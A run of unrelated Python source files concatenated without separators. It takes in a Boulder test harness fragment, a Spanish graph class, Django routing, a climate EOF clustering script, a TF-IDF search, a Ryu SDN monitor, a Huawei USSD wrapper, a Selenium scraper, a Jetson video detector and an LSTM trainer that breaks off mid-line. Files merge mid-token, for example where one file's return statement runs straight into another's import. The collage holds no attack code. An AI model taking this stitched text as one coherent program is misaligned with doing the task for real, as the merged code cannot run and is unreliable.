block_until_http_ready('http://%s:4000'%boulder_server.public_ip_address, wait_time=10, timeout=500) boulder_url = "http://%s:4000/directory"%boulder_server.private_ip_address print("Boulder Server at (public ip): http://%s:4000/directory"%boulder_server.public_ip_address) print("Boulder Server at (EC2 private ip): %s"%boulder_url) if cl_args.boulderonly: sys.exit(0) # Install and launch client scripts in parallel #------------------------------------------------------------------------------- print("Uploading and running test script in parallel: %s"%cl_args.test_script) print("Output routed to log files in %s"%LOGDIR) # (Advice: always use Manager.Queue, never regular multiprocessing.Queue # the latter has implementation flaws that deadlock it in some circumstances) manager = Manager() outqueue = manager.Queue() inqueue = manager.Queue() SENTINEL = None #queue kill signal # launch as many processes as clients to test num_processes = len(targetlist) jobs = [] #keep a reference to current procs # initiate process execution for i in range(num_processes): p = mp.Process(target=test_client_process, args=(inqueue, outqueue)) jobs.append(p) p.daemon = True # kills subprocesses if parent is killed p.start() # fill up work queue for ii, target in enumerate(targetlist): inqueue.put((ii, target)) # add SENTINELs to end client processes for i in range(num_processes): inqueue.put(SENTINEL) # wait on termination of client processes for p in jobs: p.join() # add SENTINEL to output queue outqueue.put(SENTINEL) # clean up execute(local_repo_clean) # print and save summary results results_file = open(LOGDIR+'/results', 'w') outputs = [outq for outq in iter(outqueue.get, SENTINEL)] outputs.sort(key=lambda x: x[0]) for outq in outputs: ii, target, status = outq print('%d %s %s'%(ii, target['name'], status)) results_file.write('%d %s %s\n'%(ii, target['name'], status)) results_file.close() finally: cleanup(cl_args, instances, targetlist) # kill any connections fabric.network.disconnect_all() # file grafo.py class Grafo: def __init__(self, es_dirigido = False, vertices_init = []): self.vertices = {} for v in vertices_init: self.vertices[v] = {} self.es_dirigido = es_dirigido def __contains__(self, v): return v in self.vertices def __len__(self): return len(self.vertices) def __iter__(self): return iter(self.vertices) def agregar_vertice(self, v): if v in self: raise ValueError("Ya hay un vertice " + str(v) + " en el grafo") self.vertices[v] = {} def _validar_vertice(self, v): if v not in self: raise ValueError("No hay un vertice " + str(v) + " en el grafo") def _validar_vertices(self, v, w): self._validar_vertice(v) self._validar_vertice(w) def borrar_vertice(self, v): self._validar_vertice(v) for w in self: if v in self.vertices[w]: del self.vertices[w][v] del self.vertices[v] def agregar_arista(self, v, w, peso = 1): self._validar_vertices(v, w) if self.estan_unidos(v, w): raise ValueError("El vertice " + str(v) + " ya tiene como adyacente al vertice " + str(w)) self.vertices[v][w] = peso if not self.es_dirigido: self.vertices[w][v] = peso def borrar_arista(self, v, w): self._validar_vertices(v, w) if not self.estan_unidos(v, w): raise ValueError("El vertice " + str(v) + " no tiene como adyacente al vertice " + str(w)) del self.vertices[v][w] if not self.es_dirigido: del self.vertices[w][v] def estan_unidos(self, v, w): return w in self.vertices[v] def peso_arista(self, v, w): if not self.estan_unidos(v, w): raise ValueError("El vertice " + str(v) + " no tiene como adyacente al vertice " + str(w)) return self.vertices[v][w] def obtener_vertices(self): return list(self.vertices.keys()) def vertice_aleatorio(self): return self.obtener_vertices()[0] def adyacentes(self, v): self._validar_vertice(v) return list(self.vertices[v].keys()) def __str__(self): cad = "" for v in self: cad += v for w in self.adyacentes(v): cad += " -> " + w cad += "\n" return cadfrom django.conf.urls import url from channels.routing import URLRouter from channels.http import AsgiHandler from channels.auth import AuthMiddlewareStack import django_eventstream urlpatterns = [ url(r'^events/', AuthMiddlewareStack(URLRouter(django_eventstream.routing.urlpatterns)), { 'channels': ['time'] }), url(r'', AsgiHandler), ] import inspect from django.contrib import admin from django.db import models import indices.models # auto register models to admin site for _, cls in inspect.getmembers(indices.models, predicate=inspect.isclass): if cls.__module__ == 'indices.models' and issubclass(cls, models.Model): admin.site.register(cls) """ # -*- coding: utf-8 -*- Created on Fri Aug 7 14:34:13 2020 @author: Compute and plot the leading EOF of geopotential height on the 500 hPa pressure surface over the European/Atlantic sector. """ import cartopy.crs as ccrs import matplotlib.pyplot as plt import numpy as np from eofs.xarray import Eof from pathlib import Path import pandas as pd from sklearn.cluster import KMeans import xarray as xr import matplotlib as mpl ######################Dataset################# data_folder = Path("../data/") filename = data_folder / 'z_all_std_ano_30days_lowpass_2_0-1.nc' f_out = data_folder / 'wr_time-c7_std_30days_lowpass_2_0-1.nc' fig_out = data_folder / "fig/EOF7_30days_lowpass_2_0-1.png" fig_out2 = data_folder / "fig/clusters-3PCs_30days_lowpass_2_0-1.png" z_all_ano_std = xr.open_dataset(filename)['z'] ######################Functions###################### ######################elbow test for cluster size#### def elbow(pcs): ks = range(1, 10) inertias = [] for k in ks: # Create a KMeans instance with k clusters: model model = KMeans(n_clusters=k) # Fit model to samples model.fit(pcs[:,:30]) # Append the inertia to the list of inertias inertias.append(model.inertia_) plt.plot(ks, inertias, '-o', color='black') plt.xlabel('number of clusters, k') plt.ylabel('inertia') plt.xticks(ks) plt.show() def silhouette(pcs): from sklearn.metrics import silhouette_score # A list holds the silhouette coefficients for each k silhouette_coefficients = [] # Notice you start at 2 clusters for silhouette coefficient for k in range(2, 11): kmeans = KMeans(n_clusters=k) kmeans.fit(pcs) score = silhouette_score(pcs, kmeans.labels_) silhouette_coefficients.append(score) plt.style.use("fivethirtyeight") plt.plot(range(2, 11), silhouette_coefficients) plt.xticks(range(2, 11)) plt.xlabel("Number of Clusters") plt.ylabel("Silhouette Coefficient") plt.show() ######################Plot############## def plot(solver): N = 7 eofs = solver.eofs(neofs=N) pcs = solver.pcs(npcs=N) variance_fraction = solver.varianceFraction() cmap = mpl.cm.get_cmap("RdBu_r") plt.close("all") f, ax = plt.subplots( ncols=N, nrows=2, subplot_kw={"projection": ccrs.Orthographic(central_longitude=-20, central_latitude=60)}, figsize=(24, 10), ) cbar_ax = f.add_axes([0.3, 0.1, 0.4, 0.02]) for i in range(N): if i != 0: vmax = eofs.max() vmin = eofs.min() title=str(np.round(variance_fraction.sel({"mode": i}).values * 100, 1)) + "% variance " ax[0, i].coastlines() ax[0, i].set_global() eofs[i].plot.contourf(ax=ax[0, i], cmap=cmap, vmin=vmin, vmax=vmax, transform=ccrs.PlateCarree(), add_colorbar=False) ax[0, i].set_title(title, fontsize=16) else: vmax = eofs.max() vmin = eofs.min() title=str(np.round(variance_fraction.sel({"mode": i}).values * 100, 1)) + "% variance " ax[0, i].coastlines() ax[0, i].set_global() eofs[i].plot.contourf(ax=ax[0, i], vmin=vmin, vmax=vmax, cmap=cmap, transform=ccrs.PlateCarree(), add_colorbar=True, cbar_kwargs={"orientation": "horizontal"}, cbar_ax=cbar_ax) ax[0, i].set_title(title, fontsize=16) ax[1, i] = plt.subplot(2, N, N + 1 + i) # override the GeoAxes object pc = pcs.sel({"mode": i}, drop=True) pc = pd.Series(data=pc.values[13514:13880], index=pc.time.values[13514:13880]) pc.plot(ax=ax[1, i]) pc.rolling(window=5, center=True).mean().plot( ax=ax[1, i], ls="--", color="black", lw=2 ) plt.subplots_adjust(left=0.05, right=0.92, bottom=0.25) plt.suptitle("EOF") plt.savefig(fig_out) ######################EOF analysis###################### # Create an EOF solver to do the EOF analysis. Square-root of cosine of # latitude weights are applied before the computation of EOFs. coslat = np.cos(np.deg2rad(z_all_ano_std.coords['latitude'].values)).clip(0., 1.) wgts = np.sqrt(coslat)[..., np.newaxis] solver = Eof(z_all_ano_std, weights=wgts) plot(solver) ######################K_MEANS CLUSTERING################# elbow(solver.pcs()[:,:14]) silhouette(solver.pcs()[:,:14]) model = KMeans(n_clusters=7) # Fit model to samples model.fit(solver.pcs()[:,:14]) #Plot clusters on the first two PCA # sns.scatterplot(solver.pcs()[:,0], solver.pcs()[:,1], alpha=.1, hue = model.labels_, palette="Paired") # plt.xlabel('PCA 1') # plt.ylabel('PCA 2') #Plot k-mean 3D fig = plt.figure(figsize=(8, 6)) ax = fig.add_subplot(111, projection='3d') xs = solver.pcs()[:,0] ys = solver.pcs()[:,1] zs = solver.pcs()[:,2] ax.scatter(xs, ys, zs, alpha=0.1, c=model.labels_) ax.set_xlabel('PC0') ax.set_ylabel('PC1') ax.set_zlabel('PC2') fig.savefig(fig_out2) #### Create Dataset weathter regime / time wr_time = xr.DataArray(model.labels_, dims=("time"), coords={"time": z_all_ano_std.time}, name='wr') wr_time.to_netcdf(f_out) import pandas import math import text ''' 根據給定的關鍵字（Subject-X）來計算文本的分數， 用來排序呈現檢索結果。 ''' class detail: def __init__(self, score=None, content=None, sentence=None, similar=None): self.score = score self.content = content self.sentence = sentence self.similar = similar return pass def search_with_subject(search='rash', top=5): vocabulary = text.vocabulary() embedding = text.embedding() pass information = pandas.read_csv("./information.csv") vocabulary.load(what='frequency matrix', path='./frequency matrix.csv') embedding.load(path='./vector.model') search = vocabulary.tokenize(content=search, to='word')[0] pass # search = 'rash' # top = 5 # pass weight = vocabulary.get('ntf-idf') rank = information.copy() similar_list = embedding.model.wv.similar_by_word(search,top) similar_word = [k for k, _ in similar_list] for k in [(search, 1)] + similar_list: w,s = k weight[vocabulary.term.index(w),:] = weight[vocabulary.term.index(w),:] * (math.exp(5)*s) pass rank['score'] = weight.sum(0) rank = rank.sort_values(['score'], ascending=False).head(top).copy() ''' 對於每篇文章，去找出訊息量較多的句子，多少句子是參數。 ''' output = [] for index, item in rank.iterrows(): d = detail( score=item["score"], content=item['abstract'], sentence={}, similar = set() ) for s in vocabulary.tokenize(d.content, 'sentence'): r = [vocabulary.term.index(i) for i in vocabulary.tokenize(s, 'word')] d.sentence.update({s:weight[r,index].sum()}) d.similar.update(set.intersection(set([vocabulary.term[i] for i in r]), set(similar_word))) pass output.append({item['title_e']:d}) pass return(output, rank) rank_detail, _ = search_with_subject(search='organization', top=5) for i in rank_detail: for k, v in i.items(): # print(i[k].content) print(i[k].score) print(i[k].sentence) print(i[k].similar) pass pass0 # Copyright (C) 2016 Nippon Telegraph and Telephone Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from operator import attrgetter import broadcast_storm from ryu.controller import ofp_event from ryu.controller import dpset from ryu.controller.handler import MAIN_DISPATCHER, DEAD_DISPATCHER from ryu.controller.handler import set_ev_cls from ryu.lib import hub class link_monitor13(broadcast_storm.Broadcast_prevent): def __init__(self, *args, **kwargs): super(link_monitor13, self).__init__(*args, **kwargs) self.datapaths = {} self.port_down_dp_id = 0 self.port_down = 0 self.link_down_list = [] @set_ev_cls(ofp_event.EventOFPStateChange,[MAIN_DISPATCHER, DEAD_DISPATCHER]) def _state_change_handler(self, ev): datapath = ev.datapath if ev.state == MAIN_DISPATCHER: if datapath.id not in self.datapaths: self.logger.debug('register datapath: %016x', datapath.id) self.datapaths[datapath.id] = datapath elif ev.state == DEAD_DISPATCHER: if datapath.id in self.datapaths: self.logger.debug('unregister datapath: %016x', datapath.id) del self.datapaths[datapath.id] @set_ev_cls(ofp_event.EventOFPFlowStatsReply, MAIN_DISPATCHER) def _flow_stats_reply_handler(self, ev): body = ev.msg.body msg = ev.msg dp = msg.datapath ofproto = dp.ofproto parser = dp.ofproto_parser for stat in sorted([flow for flow in body if flow.priority == 1], key=lambda flow: (flow.match['in_port'], flow.match['eth_dst'])): match = parser.OFPMatch(in_port=stat.match['in_port'], eth_dst=stat.match['eth_dst']) flow_mod = dp.ofproto_parser.OFPFlowMod(dp,1,0,0, dp.ofproto.OFPFC_DELETE,0,0,1, dp.ofproto.OFP_NO_BUFFER,stat.instructions[0].actions[0].port, dp.ofproto.OFPG_ANY, dp.ofproto.OFPFF_SEND_FLOW_REM, match) dp.send_msg(flow_mod) @set_ev_cls(ofp_event.EventOFPPortStatus, MAIN_DISPATCHER) def _port_modify_handler(self, ev): msg = ev.msg reason = msg.reason dp = msg.datapath ofpport = msg.desc ofproto = dp.ofproto parser = dp.ofproto_parser if ((ofpport.state << 31) & 0xffffffff ) >> 31 == 1: if ((ofpport.config << 31) & 0xffffffff ) >> 31 == 1: print "dp %d port %d down" % (dp.id, ofpport.port_no) if self.port_down_dp_id == 0: self.port_down_dp_id = dp.id self.port_down = ofpport.port_no elif self.port_down_dp_id != 0: self.net.remove_edge(self.port_down_dp_id,dp.id) self.net.remove_edge(dp.id,self.port_down_dp_id) self.link_down_list.append((self.port_down_dp_id,dp.id,self.port_down)) self.link_down_list.append((dp.id,self.port_down_dp_id,ofpport.port_no)) self.port_down_dp_id = 0 self.logger.debug('send stats request: %016x', dp.id) for dp in self.datapaths.values(): req = parser.OFPFlowStatsRequest(dp) dp.send_msg(req) elif ((ofpport.state << 29) & 0xffffffff ) >> 31 == 1: print "dp %d port %d up" % (dp.id, ofpport.port_no) if self.port_down_dp_id == 0: self.port_down_dp_id = dp.id self.port_down = ofpport.port_no elif self.port_down_dp_id != 0: if self.port_down_dp_id == dp.id: return index = 0 while index < len(self.link_down_list): if self.link_down_list[index] == (self.port_down_dp_id,dp.id,self.port_down): self.net.add_edge(self.port_down_dp_id,dp.id,{'port':self.link_down_list[index][2]}) self.link_down_list.remove(self.link_down_list[index]) elif self.link_down_list[index] == (dp.id,self.port_down_dp_id,ofpport.port_no): self.net.add_edge(dp.id,self.port_down_dp_id,{'port':self.link_down_list[index][2]}) self.link_down_list.remove(self.link_down_list[index]) self.port_down_dp_id = 0 print self.net.edges()from huaweisms.api.common import post_to_url, ApiCtx, get_from_url from .config import API_URL def status(ctx: ApiCtx): url = "{}/ussd/status".format(API_URL) return get_from_url(url, ctx) def get(ctx: ApiCtx): url = "{}/ussd/get".format(API_URL) return get_from_url(url, ctx) def send(ctx: ApiCtx, msg: str): xml_data = """ {} CodeType """.format(msg) tok = ctx.tokens.pop() headers = { '__RequestVerificationToken': tok, 'X-Requested-With': 'XMLHttpRequest' } url = "{}/ussd/send".format(API_URL) r = post_to_url(url, xml_data, ctx, headers) return r takaaki82/Java-LessonsAtCoder/ABC028/D.py N, K = map(int, input().split()) # 1回 K ans = (N - K) * (K - 1) * 6 # 2回 K ans += (N - 1) * 3 # 3回 K ans += 1 print(ans / pow(N, 3)) from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() options.add_argument('--headless') path = '/Users/michaeldargenio/projects/my-apps/py-scraper/chromedriver' driver = webdriver.Chrome(executable_path = path, chrome_options=options) print('----------\nAll definitions sourced from "https://www.lexico.com"\n----------\n') def define(word): url = 'https://www.lexico.com/en/definition/' + word driver.get(url) definition = driver.find_element_by_class_name('ind') return definition.text cont = 'y' while cont == 'y': word = input('----------\nWhat word do you want me to define?: ') print(word + ': \n\t' + define(word)) cont = input('\n\nWould you like to define another word? [y/n]: ') if cont == 'n': break driver.quit()#!/usr/bin/python3 # from posix import times_result import jetson.inference import jetson.utils import sqlite3 import logging import sys import shutil import pytz from datetime import datetime from time import sleep from os import listdir from os.path import isfile, join from os import remove import traceback from collections import defaultdict logging.basicConfig(format='%(asctime)s %(levelname)s %(message)s', filename='/myscripts/objectDetetion.log', filemode='w', level=logging.INFO) logging.info("Init network and videocource-------") objectFound = False net = jetson.inference.detectNet("ssd-mobilenet-v2", threshold=0.5) logging.info("Init done -------------------------") # set path for folders where source/ raw videos could be found and where processed should be moved pathRaw = "/myscripts/rawvideo/" pathProcessed = "/myscripts/processedvideos/" pathError = "/myscripts/errorvideos/" pathNoObj = "/myscripts/noobjvideos/" # # Place a sepia filter on given image # def sepia(image): width = image.width height = image.height for py in range(height): for px in range(width): pixel = img[py,px] r = pixel[0] g = pixel[1] b = pixel[2] tr = int(0.393 * r + 0.769 * g + 0.189 * b) tg = int(0.349 * r + 0.686 * g + 0.168 * b) tb = int(0.272 * r + 0.534 * g + 0.131 * b) if tr > 255: tr = 255 if tg > 255: tg = 255 if tb > 255: tb = 255 img[py,px] = (tr,tg,tb) return image # # Check if image is grayscale # def isGrayscale(img): if (img.channels < 3): return True width = img.width height = img.height stopAfter = height / 2 for py in range(height): # stop after 1/2 of height pixel noting was found to avoid to much processing if (py > stopAfter): return True for px in range(width): pixel = img[py,px] if pixel[0] != pixel[1] != pixel[2]: return False return True # # Init database if not exist # def initDetectorTable(): con = sqlite3.connect('/myscripts/detector_db.sqlite3') cur = con.cursor() chargelog_sql = """ CREATE TABLE IF NOT EXISTS detector ( timestamp TEXT NOT NULL, classid integer NOT NULL, confidence REAL NOT NULL, filename TEXT NOT NULL)""" try: cur.execute(chargelog_sql) con.commit() except: logging.error(traceback.format_exc()) cur.close() con.close() # # Delete data older 336 h / 14d # def cleanupData(): logging.debug("Try connecting sqllite...") con = sqlite3.connect('/myscripts/detector_db.sqlite3') try: cur = con.cursor() cur.execute("delete from detector where timestamp < datetime('now','-336 hour','localtime')") con.commit() cur.execute("vacuum") con.commit() except: logging.error(traceback.format_exc()) cur.close() con.close() # # Move a given file to errorpath # def moveImageToErrorFolderAndLog(img, filename): global pathError, pathRaw rawPathToFile = pathRaw + filename try: shutil.move(rawPathToFile, pathError + filename) if (img != None): logging.error('Image data: ' + str(img.format) + ' channels: ' + str(img.channels) + ' file: ' + filename) except: logging.error(traceback.format_exc()) # # # def logObjectFoundToDBAndMoveFile(filename, classid, confidence): global pathProcessed, pathRaw rawPathToFile = pathRaw + filename nameOfFile = "" night = "" if nightMode: night = "_night" newFilename = "cid_" + str(classid) + '_' + str(confidence) + '_' + night + "_" + filename processedPathToFile = pathProcessed + newFilename shutil.move(rawPathToFile, processedPathToFile) con = sqlite3.connect('/myscripts/detector_db.sqlite3') cur = con.cursor() tz = pytz.timezone('Europe/Berlin') timestamp = datetime.now(tz) sql = "INSERT INTO 'detector' (timestamp,classid,confidence,filename) VALUES ('" + str(timestamp) + "'," + str(classid) + "," + str(confidence) + ",'" +str(newFilename) +"')" try: cur.execute(sql) con.commit() except: logging.error(traceback.format_exc()) cur.close() con.close() initDetectorTable() while True: img = None dirs = listdir(pathRaw) # This would print all the files and directories for fil in dirs: onePerFile = False rawPathToFile = pathRaw + fil logging.info("Processing now file: " + rawPathToFile) try: input = None errorCount = 0 while True: try: # retry 2 times to open file if (errorCount > 2): logging.error("Could not open file: " + rawPathToFile) break input = jetson.utils.videoSource(rawPathToFile) break except Exception: # IO problems can occur in some cases if file e.g. is not ready.... wait a while until IO is ready errorCount += 1 sleep(3) continue if (input == None): moveImageToErrorFolderAndLog(None,fil) continue frameNumber = 0 nightMode = False detectionsDict = {} confidenceDict = defaultdict(list) consecutiveFrameDict = {} consecutiveClass = None consecutiveDetections = 0 countOfDetections = -1 freqentClass = -1 while True: img = input.Capture() frameNumber += 1 if (frameNumber < 2): if (isGrayscale(img)): nightMode = True frameThreshold = 5 if (nightMode): frameThreshold = 2 detections = net.Detect(img) noDetectionInFrame = True # check if there were any detections if (len(detections) > 0): noDetectionInFrame = False for detection in detections: #logging.info(str(detection.ClassID) + " " + str(round(detection.Confidence,2)) + " t:" + str(int(detection.Top)) + " l:" + str(int(detection.Left)) + " r:" + str(int(detection.Right)) + " w:" + str(int(detection.Width))) classid = detection.ClassID confidence = round(detection.Confidence,2) topD = int(detection.Top) # h of box leftD = int(detection.Left) # x coordinate rightD = int(detection.Right) # y coordinate widthD = int(detection.Width) # width of box # specify areas in video-image to avoid detection (y axis pixel) topNoDetectionZone = 200 if (rightD < topNoDetectionZone): continue # classids belong to model ssd-mobilenet-v2 # 1 person # 2 bicycle # 3 car # 4 motorcycle # 5 airplane # 6 bus # 7 train # 8 truck # 9 boat # 10 traffic light # 11 fire hydrant # 13 stop sign # 14 parking meter # 15 bench # 16 bird # 17 cat # 18 dog # 19 horse # 49 knife # 61 cake # this classids produce false positives... if (classid == 15 or classid == 49 or classid == 61): continue # we want to be more sensitive on persons confidenceThreshold = 0.60 if (classid == 1 ): confidenceThreshold = 0.65 else: confidenceThreshold = 0.72 if (nightMode): confidenceThreshold = confidenceThreshold - 0.09 if (confidence >= confidenceThreshold): # now we found something with n% propability # save this detection in dict if classid in detectionsDict: value = detectionsDict[classid] value += 1 detectionsDict[classid] = value else: detectionsDict[classid] = 1 # put confidence to a nested list in a dict to calc later the average value # (we avoid to also check here consecutive confidence to avoid complexity) confidenceDict[classid].append(confidence) # put detections in consecutiveFrame dict, but not none consecutive tmpDict = {} for key in detectionsDict: if (key in consecutiveFrameDict): value = consecutiveFrameDict[key] value += 1 tmpDict[key] = value else: tmpDict[key] = detectionsDict[key] consecutiveFrameDict = tmpDict #logging.info("keys in detectiondict: " + str(detectionsDict.keys()) + " cfd: " + str(consecutiveFrameDict)) # check if it is empty if (bool(consecutiveFrameDict) == True): # sort dict to get the highest value of a class at the first position... consecutiveFrameDict_sorted = sorted(consecutiveFrameDict.items(), key=lambda x: x[1], reverse=True) countOfDetections = list(dict(consecutiveFrameDict_sorted).values())[0] freqentClass = next(iter(dict(consecutiveFrameDict_sorted))) if (int(countOfDetections) > frameThreshold): # calc the average confidence sum = 0 count = 0 for confidence in confidenceDict[freqentClass]: sum += confidence count += 1 avgConfidence = round(sum / count,2) # stop analyzing if object was found more than n times to avoid false positives logging.info('Detected classID: ' + str(freqentClass) + ' avgConfidence: ' + str(avgConfidence) +' # of consecutive detections: ' + str(countOfDetections) + ' # of frames: ' + str(frameNumber) + ', isNight= ' + str(nightMode) + ' file: ' + fil) logObjectFoundToDBAndMoveFile(fil,freqentClass,avgConfidence) objectFound = True if (noDetectionInFrame): # found frame with no detections, consecutiveFrameDict consecutiveFrameDict = {} # check if object found or video-stream is at the end or object found if (not input.IsStreaming() or objectFound): # check if file was already moved if (not objectFound): try: shutil.move(rawPathToFile, pathNoObj + fil) logging.info('No obj found in image: ' + str(img.format) + ' classid: ' + str(freqentClass) + ' # of consecutive detections: ' + str(countOfDetections) + ' # of frames: ' + str(frameNumber) + ' channels: ' + str(img.channels) + ' isGray:' + str(nightMode) + ' file: ' + fil) except: logging.exception("Cannot move: " + rawPathToFile + " , unexpected error: ") objectFound = False break except: logging.exception("Exception reading file: " + rawPathToFile + " , unexpected error: ") moveImageToErrorFolderAndLog(img,fil) # only clean database if new files were generated if (len(dirs) > 0): # cleanup database if necessary cleanupData() # wait 5 seconds for new files sleep(5) import warnings from pandas import DataFrame, concat import os import shutil from itertools import product import subprocess from psutil import virtual_memory from tensorflow.keras.layers import Dense, LSTM, Input, BatchNormalization from tensorflow.keras.optimizers import Adam from tensorflow.keras.initializers import Ones from tensorflow.keras.models import Model from tensorflow.keras.models import model_from_json from kerastuner.tuners import RandomSearch from kerastuner.engine.hyperparameters import HyperParameters try: from functions import * from configs import hyper_conf, accept_threshold_for_loss_diff, parameter_tuning_trials from data_access import * from utils import abspath_for_sample_data except Exception as e: from .functions import * from .configs import hyper_conf, accept_threshold_for_loss_diff, parameter_tuning_trials from .data_access import * from .utils import abspath_for_sample_data def model_from_to_json(path=None, weights_path=None, model=None, is_writing=False, lr=None): if is_writing: model_json = model.to_json() with open(path, "w") as json_file: json_file.write(model_json) model.save_weights(weights_path) else: json_file = open(path, 'r') loaded_model_json = json_file.read() json_file.close() model = model_from_json(loaded_model_json) try: model.load_weights(weights_path) except Exception as e: model.load_weights(weights_path) model.compile(loss='mae', optimizer=Adam(lr=lr), metrics=['mae']) return model def updating_hyper_parameters_related_to_data(): return None def get_params(params, comb): count = 0 for p in params: _p = type(params[p])(comb[count]) params[p] = _p count += 1 return params class TrainLSTM: def __init__(self, date=None, time_indicator=None, order_count=None, data_source=None, data_query_path=None, time_period=None, directory=None, customer_indicator=None, amount_indicator=None): self.directory = directory self.customer_indicator = customer_indicator self.time_indicator = time_indicator self.amount_indicator = amount_indicator self.params = hyper_conf('next_purchase') \ if check_for_existing_parameters(self.directory,'next_purchase') is None else \ check_for_existing_parameters(self.directory, 'next_purchase') self.hyper_params = get_tuning_params(hyper_conf('next_purchase_hyper'), self.params) self.optimized_parameters = {} self._p = None self.order_count = order_count self.time_period = time_period self.data, self.features, self.c_min_max, self.params = data_manipulation_np(date=date, feature=amount_indicator, time_indicator=time_indicator, data_source=data_source, data_query_path=data_query_path, customer_indicator=customer_indicator, params=self.params, time_period=time_period, directory=directory) self.hp = HyperParameters() self.model_data = {} self.input, self.model = None, None self.prev_model_date = check_model_exists(self.directory, "trained_next_purchase_model", self.time_period) self.result = None, None self.residuals, self.anomaly = [], [] self.customers = list(self.data[customer_indicator].unique()) self.results = DataFrame() self.get_actual_value = lambda _min, _max, _value: ((_max - _min) * _value) + _min self.max_date = max(self.data[self.time_indicator]) self.future_date = self.max_date + datetime.timedelta(days=convert_time_preiod_to_days(self.time_period)) self.model_data = {"x_train": None, "y_train": None, "x_test": None, "y_test": None} self.client_sample_sizes = [] self.optimum_batch_size = 32 def get_model_data(self, customer): _data = self.data[self.data[self.customer_indicator] == customer] try: data = arrange__data_for_model(df=_data, f=[self.features], parameters=self.params) if data['x_train'].shape[0] != 0: model_data[customer] = {} model_data[customer] = data except Exception as e: print(e) def data_preparation(self): global model_data model_data = {} print("number of customers :", len(self.customers)) execute_parallel_run(self.customers, self.get_model_data, arguments=None, parallel=16) try_count = 0 while try_count < 20: try: self.model_data = {"x_train": None, "y_train": None, "x_test": None, "y_test": None} self.client_sample_sizes = [] for c in model_data: if self.model_data['x_train'] is not None: for _split in ['x_train', 'y_train', 'x_test', 'y_test']: self.model_data[_split] = np.concatenate([self.model_data[_split], model_data[c][_split]]) self.client_sample_sizes.append(model_data[c]['x_train'].shape[0]) else: self.client_sample_sizes.append(model_data[c]['x_train'].shape[0]) self.model_data = model_data[c] try_count = 20 except Exception as e: print(e) try_count += 1 def build_parameter_tuning_model(self, hp): self.input = Input(shape=(self.model_data['x_train'].shape[1], 1)) lstm = LSTM(int(hp.Choice('units', self.hyper_params['units'])), bias_initializer=Ones(), kernel_initializer=Ones(), use_bias=False, activation=hp.Choice('activation', self.hyper_params['activation']), dropout=0.1 )(self.input) lstm = BatchNormalization()(lstm) lstm = Dense(1)(lstm) model = Model(inputs=self.input, outputs=lstm) model.compile(loss='mae', optimizer=Adam(lr=hp.Choice('lr', self.hyper_params['lr'])), metrics=['mae']) return model def build_model(self): self.input = Input(shape=(self.model_data['x_train'].shape[1], 1)) # LSTM layer lstm = LSTM(self.params['units'], batch_size=self.params['batch_size'], bias_initializer=Ones(), kernel_initializer=Ones(), use_bias=False, recurrent_activation=self.params['activation'], dropout=0.1 )(self.input) lstm = BatchNormalization()(lstm) lstm = Dense(1)(lstm) self.model = Model(inputs=self.input, outputs=lstm) self.model.compile(loss='mae', optimizer=Adam(lr=self.params['lr']), metrics=['mae']) def learning_process(self, save_model=True, history=False): if history: history = self.model.fit(self.model_data['x_train'], self.model_data['y_train'], batch_size=self.params['batch_size'], epochs=int(self.params['epochs']), verbose=1, validation_data=(self.model_data['x_test'], self.model_data['y_test']), shuffle=True) else: print("*"*5, "Fit Next Purchase Model", "*"*5) self.model.fit(self.model_data['x_train'], self.model_data['y_train'], batch_size=self.params['batch_size'], epochs=int(self.params['epochs']), verbose=1, validation_data=(self.model_data['x_test'], self.model_data['y_test']), shuffle=True) if save_model: model_from_to_json(path=model_path(self.directory, "trained_next_purchase_model", get_current_day(), self.time_period), weights_path=weights_path(self.directory, "trained_next_purchase_model", get_current_day(), self.time_period), model=self.model, is_writing=True) if history: return history def train_execute(self): print("*"*5, "Next purchase train model process ", "*"*5) if self.prev_model_date is None: self.data_preparation() self.parameter_tuning() self.build_model() self.learning_process() else: self.model = model_from_to_json(path=model_path(self.directory, "trained_next_purchase_model", self.prev_model_date, self.time_period), weights_path=weights_path(self.directory, "trained_next_purchase_model", self.prev_model_date, self.time_period), lr=self.params['lr']) print("Previous model already exits in the given directory '" + self.directory + "'.") def create_prediction_data(self, customers, _directory): """ import data with .csv format to the 'temp_next_purchase_inputs'. with given batch. Example of directory and data: data: customer_indicator | amount_indicator | time_indicator ------------------------------------------------------ cust_1 | 20.3 | 2021-06-05 ....... | ..... | ..... cust_2 | 30.3 | 2021-06-08 ....... | ..... | ..... cust_3 | 30.3 | 2021-06-10 directory : /temp_next_purchase_inputs/prediction_inputs_cust_1.csv """ self.temp_data = self.data[self.data[self.customer_indicator].isin(customers)] self.temp_data.to_csv(_directory, index=False) def parallel_prediction(self): """ *** Parallel Prediction Process *** 1. Create input folder: 'temp_next_purchase_inputs' 2. Create result folder for the prediction: 'temp_next_purchase_results' 3. split users (split number of user count related customer_indicator parameter) and run each batch sequentially. 3. Parallel process is running on 'next_purchase_prediction.py'. Check related .py file for details. """ try: # create input folder os.mkdir(join(self.directory, "temp_next_purchase_results")) except Exception as e: print(e) print("recreating 'temp_next_purchase_results' folder ...") shutil.rmtree(join(self.directory, "temp_next_purchase_results", "")) os.mkdir(join(self.directory, "temp_next_purchase_results")) try: # create output folder for the results os.mkdir(join(self.directory, "temp_next_purchase_inputs")) except Exception as e: print(e) print("recreating 'temp_next_purchase_inputs' folder ...") shutil.rmtree(join(self.directory, "temp_next_purchase_inputs", "")) os.mkdir(join(self.directory, "temp_next_purchase_inputs")) # check cpu count and available memory in order to optimize batch sizes cpus = cpu_count() * int((virtual_memory().total / 1000000000) * 4) communicates = [i for i in range(cpus) if i % cpu_count() == 0] + [cpus - 1] _sample_size = int(len(self.customers) / cpus) + 1 _sub_processes = [] for i in range(cpus): print("main iteration :", str(i), " / ", str(cpus)) _sample_customers = get_iter_sample(self.customers, i, cpus, _sample_size) if len(_sample_customers) != 0: _directory = join(self.directory, "temp_next_purchase_inputs", "prediction_inputs_" + _sample_customers[0] + ".csv") self.create_prediction_data(_sample_customers, _directory) cmd = """python {0}/next_purchase_prediction.py -P {1} -MD {2} -FD {3} -TP {4} -D {5} -IND {6} """.format(abspath_for_sample_data(), _directory, str(self.max_date)[0:10], str(self.future_date)[0:10], self.time_period, self.directory, "*".join([self.customer_indicator, 